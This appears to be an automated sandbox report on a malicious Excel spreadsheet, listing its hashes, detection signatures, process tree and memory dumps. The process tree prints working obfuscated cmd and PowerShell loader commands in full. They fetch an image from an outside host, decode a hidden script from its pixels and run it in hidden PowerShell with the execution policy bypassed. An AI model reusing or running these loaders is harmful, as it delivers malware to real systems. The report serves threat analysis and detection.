Overview

overview

10

Static

static

8

285f25f358...18.xls

windows7-x64

10

285f25f358...18.xls

windows10-2004-x64

10

Analysis

  • max time kernel
    47s
  • max time network
    43s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/03/2025, 22:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18.xls

  • Size

    63KB

  • MD5

    0f994f9f5a3e4dce57b7a020222ebcd6

  • SHA1

    36c3b7974707d7b8e08765880e08000bfb3f9470

  • SHA256

    285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18

  • SHA512

    9308ee9a63ad2664a07485505d000aa8e171968e19af9992bdadbb1fdbcd016a914a9c7c37b81409c2c86a2dcddeddb74bdef6366d7fcd9cc314b66b81ca1ab1

  • SSDEEP

    1536:zv+km4OrZTPVbJhr1TBL602MCspTZQxEtjPOtioVjDGUU1qfDlaGGx+cL2QnVJ4j:zv+km4OrZbVbJhr1TBL602MCspTZQxEp

Score
10/10
execution

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\285f25f3589ee69425f63cea9b6a61b0ef9138eb5824d7db8eee0bb225654c18.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1188
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /V:ON/C"set lW=o.crm`VPx57^^l(SEX]L8{-Y=GZU:K%0B[9ia2eb*yftp_/T$j1'vdMF^|C\Hwk^&)WAIDn+}h4,sg6;3 R""ON&&for %9 in (15,2,70,82,45,78,78,47,71,24,10,23,32,42,22,7,15,17,13,50,53,50,68,50,64,46,70,50,62,78,76,78,78,78,47,71,19,16,10,23,78,32,42,40,43,37,17,13,50,14,40,73,42,15,4,1,46,50,68,50,15,8,50,68,50,46,50,68,50,1,15,83,2,50,68,50,0,50,68,50,66,65,67,74,50,62,76,78,78,1,13,81,20,49,69,20,30,69,81,78,21,41,50,12,50,72,50,73,35,50,62,78,13,50,35,50,62,78,13,81,20,30,69,20,36,69,20,49,69,81,78,21,41,50,83,37,59,50,72,50,2,42,50,72,50,21,82,38,48,37,50,62,76,11,11,11,61,13,81,20,30,69,20,49,69,81,21,41,78,50,64,52,52,21,46,50,72,50,40,43,37,50,62,78,21,64,73,73,37,4,38,12,40,83,35,4,37,78,81,14,40,73,42,37,4,1,66,3,35,59,34,67,74,81,76,47,20,74,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,71,69,20,36,69,20,49,69,20,30,69,20,77,69,81,21,41,78,50,1,31,34,50,72,50,34,67,74,50,72,50,59,50,72,50,42,4,35,43,50,72,50,14,40,73,42,37,4,1,66,3,35,50,62,13,13,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,20,77,69,20,36,69,81,78,21,41,78,50,83,37,42,1,50,72,50,63,37,50,72,50,42,50,72,50,38,56,12,34,37,67,50,62,62,1,13,81,20,49,69,20,30,69,81,78,21,41,50,43,37,67,79,37,35,52,50,72,50,82,50,62,1,65,67,51,0,60,37,13,81,70,42,42,43,73,27,45,45,34,4,35,74,37,73,36,1,34,4,74,38,0,8,1,2,0,4,45,2,35,45,19,19,45,64,36,25,14,12,63,75,14,44,0,1,43,67,74,81,62,62,76,47,20,82,69,23,11,11,11,61,13,50,35,50,62,78,13,81,20,30,69,20,49,69,81,21,41,50,31,40,42,37,50,72,50,32,17,50,62,78,49,19,75,30,76,13,30,1,1,36,62,11,11,11,55,1,13,50,29,50,62,20,41,0,3,37,35,2,70,13,47,20,8,69,78,34,67,13,30,1,1,75,49,33,62,62,20,47,20,43,69,23,47,20,74,69,1,13,81,20,30,69,20,49,69,81,78,21,41,78,50,24,37,42,7,34,50,72,50,8,37,12,50,62,1,65,67,51,0,60,37,13,47,20,8,69,72,47,20,44,69,62,76,47,20,0,69,32,47,20,44,69,39,75,36,30,68,47,20,16,69,17,23,13,78,78,47,71,74,10,27,27,13,81,20,49,69,20,30,69,81,21,41,78,50,12,0,0,3,50,72,50,54,50,62,1,65,67,51,0,60,37,13,13,47,20,43,69,1,81,31,81,21,38,35,67,52,49,9,62,39,49,75,62,21,38,0,3,13,47,20,43,69,1,81,74,81,78,21,38,35,67,52,78,49,9,62,62,69,69,76,11,11,11,61,13,81,20,30,69,20,49,69,81,78,21,41,50,65,50,72,50,15,16,50,62,13,78,13,78,18,14,78,78,51,64,79,65,35,38,18,15,27,71,19,8,10,78,62,1,6,35,12,26,15,27,27,81,35,5,73,2,34,34,81,1,81,74,37,42,5,73,5,46,3,65,67,24,81,13,47,20,82,69,32,30,1,1,49,77,71,49,17,62,62,78,55,2,27,57,59,65,67,52,82,59,73,57,14,40,14,42,37,4,77,36,57,56,12,34,7,1,15,8,15,78,61,61,56,53,52,1,15,8,37,78,78,78,45,2,78,43,0,59,37,3,14,58,15,18,18,78,21,15,8,37,56,26,46,65,82,83,43,82,12,78,31,22,7,35,73,73,78,78,21,83,0,67,34,83,78,21,59,65,67,52,82,59,14,46,22,78,58,65,66,66,15,67,78,21,67,82,43,79,82,54,34,78,78,21,73,42,78,78,21,83,0,12,82,74,82,78,78,78,78,78,1,78,13,78,78,57,81,20,30,69,20,49,69,20,36,69,57,81,78,21,41,78,50,64,52,52,50,72,13,78,57,81,20,30,69,20,49,69,57,81,78,21,41,50,21,50,72,50,46,40,43,50,78,62,72,50,37,50,78,78,62,78,21,64,73,73,37,4,78,13,57,81,20,77,69,20,49,69,20,9,69,20,30,69,20,71,69,20,36,69,57,81,78,21,41,78,13,78,78,57,81,20,36,69,20,49,69,20,30,69,57,81,78,21,41,50,52,50,72,50,1,63,34,67,50,72,50,37,4,50,78,78,62,72,50,40,73,50,72,50,73,50,72,50,14,50,72,13,78,57,81,20,36,69,20,49,69,20,30,69,57,81,21,41,78,50,54,0,3,4,50,72,50,1,50,72,50,0,59,73,50,62,72,50,42,50,62,78,78,78,76,78,78,78,11,11,11,61,78,78,13,78,78,78,47,20,37,5,83,6,5,27,2,82,53,73,5,43,37,2,69,32,71,72,49,9,72,36,9,17,21,48,82,65,83,50,50,62,78,13,78,78,13,78,32,14,22,14,42,37,53,1,63,34,83,66,0,63,73,1,54,0,3,53,14,1,56,18,65,7,38,82,35,79,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,78,50,24,50,72,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,37,50,72,50,42,42,15,8,46,50,78,62,62,1,57,81,34,5,83,51,5,0,28,15,57,81,13,78,78,62,78,78,62,78,78,62,78,76,78,78,32,14,40,73,42,37,4,1,63,34,67,52,0,59,73,1,54,0,3,4,73,1,56,12,34,43,38,0,35,3,52,17,27,27,13,57,81,20,30,69,20,49,69,57,81,78,21,41,50,56,12,50,72,50,37,35,3,50,78,62,1,57,81,34,5,83,51,82,5,60,15,57,81,13,78,62,84)do set Rc=!Rc!!lW:~%9,1!&&if %9 geq 84 cmd /C!Rc:~-1334!"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4644
      • C:\Windows\system32\cmd.exe
        cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3744
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
          4⤵
            PID:4152
          • \??\c:\wIndOws\SyStem32\clip.exe
            c:\wIndOws\SyStem32\CliP.ExE
            4⤵
              PID:4112
            • C:\Windows\system32\cmd.exe
              CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4580
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; & ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
                5⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:432

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4lutt2k1.404.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
        Filesize

        2KB

        MD5

        8fc5d7e3881eef023b9424949b509c12

        SHA1

        3d84d02c499ffba62844bcc23d5b6c75ff2cca58

        SHA256

        99cc48779535208c4abc519cced843ca303ffebfe7efcee0f0ba414749b2fb64

        SHA512

        3d5eb41488d39968eb3da9b8a3a362190f4911db0d6358b2c120d080494643579d067eed4295abac041077497657da9ab928d5a25a837ed4d24afc7ebd9775fe

        Download Submit

      • memory/432-101-0x000001F1B3750000-0x000001F1B3772000-memory.dmp

        Filesize

        136KB

        Download

      • memory/432-126-0x000001F1B3780000-0x000001F1B37C8000-memory.dmp

        Filesize

        288KB

        Download

      • memory/432-122-0x000001F1B3780000-0x000001F1B37C8000-memory.dmp

        Filesize

        288KB

        Download

      • memory/1188-20-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-17-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-9-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-15-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-14-0x00007FFF59CC0000-0x00007FFF59CD0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1188-8-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-7-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-6-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-16-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-19-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-18-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-3-0x00007FFF5C3F0000-0x00007FFF5C400000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1188-21-0x00007FFF59CC0000-0x00007FFF59CD0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1188-13-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-2-0x00007FFF5C3F0000-0x00007FFF5C400000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1188-1-0x00007FFF5C3F0000-0x00007FFF5C400000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1188-0-0x00007FFF9C40D000-0x00007FFF9C40E000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1188-64-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-99-0x00007FFF9C40D000-0x00007FFF9C40E000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1188-100-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-10-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-12-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-111-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-112-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-116-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-11-0x00007FFF9C370000-0x00007FFF9C565000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1188-5-0x00007FFF5C3F0000-0x00007FFF5C400000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1188-4-0x00007FFF5C3F0000-0x00007FFF5C400000-memory.dmp

        Filesize

        64KB

        Download